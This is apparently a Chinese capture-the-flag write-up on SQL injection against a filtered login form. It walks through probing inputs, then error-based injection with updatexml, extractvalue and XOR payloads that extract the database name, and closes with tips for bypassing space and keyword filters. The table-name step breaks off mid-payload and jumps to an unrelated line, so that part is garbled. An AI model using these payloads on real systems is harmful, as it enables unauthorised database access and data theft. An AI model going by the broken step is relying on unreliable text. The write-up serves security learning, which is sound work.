打开题目
输入1或者1",页面均回显NO,Wrong username password!!!
那我们输入1'
试试万能密码
1' or 1=1 #
输入1' and 1=2 #
输入1' union select 1,2,3 #
输入1' ununionion seselectlect 1,2,3 #
输入1' #
输入1'=#
页面依旧回显
说明页面过滤了=号,空格,union,就连双写绕过都不行
尝试了一下,发现and也被过滤了
我们就可以试试报错注入
我们先尝试updatexml函数
updatexml函数报错的原理是:
UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式而第二个参数xpath_string(xpath格式的字符串),我们在注入的时候把第二个参数变为非xpath格式自然会报错
因为我们在上面的尝试中发现and,union,空格是被过滤的
注释符我们还是用#吧,用%23会报错
爆破数据库名
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
或者1'^(updatexml(1,concat(0x7e,database(),0x7e),1))#
得到数据库名为geek
爆破表名
1'or(updatexml(1,concat(
admin'^extractvalue(1,concat(0x5c,(select(database()))))#
知识点:
- 什么是xor(异或)用法,和or(或)用法有什么区别?
①or是或运算,A or B的结果:当A、B中只要有一个或者两个都为1时,结果为1,否则为0;
即,有一个真即为真
②xor是异或运算,A xor B的结果:当A、B两个不同时结果为1,否则为0。
即,相同为假,不同为真
- 在mysql中异或运算符的简介
mysql里异或运算符:^
或者 xor
;
- sql注入中绕过一些常见的特殊符号
1.绕过空格
注释符/**/
非断开空格%a0(非断开空格是一种特殊的空格字符,与常规空格不同,它在文本中不会引起换行或断开。在URL编码中,非断开空格通常被表示为 %a0
。)
括号绕过空格
双写绕过空格